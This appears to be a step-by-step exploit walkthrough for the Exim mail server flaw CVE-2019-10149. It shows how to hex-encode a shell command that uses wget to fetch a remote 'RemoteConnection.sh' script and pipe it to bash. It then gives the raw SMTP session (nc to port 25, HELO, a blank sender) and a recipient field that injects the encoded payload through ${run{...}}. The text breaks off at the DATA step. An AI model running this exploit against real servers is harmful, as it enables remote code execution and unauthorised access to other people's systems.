Convert your shell command to hex. Example:

• /bin/sh -c “wget https://raw.githubusercontent.com/darsigovrustam/CVE-2019-10149/master/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

Table for example:

• \t-c\ = -c
• \t= space
• x20 = space
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

Exploit usage

First we use nc to start a connection to the server.

• nc 192.168.0.168 25

Once we are connected we say HELO.

• helo localhost
• (Answer: 250 exim Hello localhost [192.168.0.168])

Next, we set the sender address to blank.

• mail from:<>
• (Answer: 250 OK)

Then we set out recipient address with the payload we made earlier by inserting our desired command where the ellipses is rcpt to:${run{...}}@localhost.

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (Answer: 250 Accepted)

And finally We first type DATA, followed by 31 lines, a blank line, and a period.

• DATA
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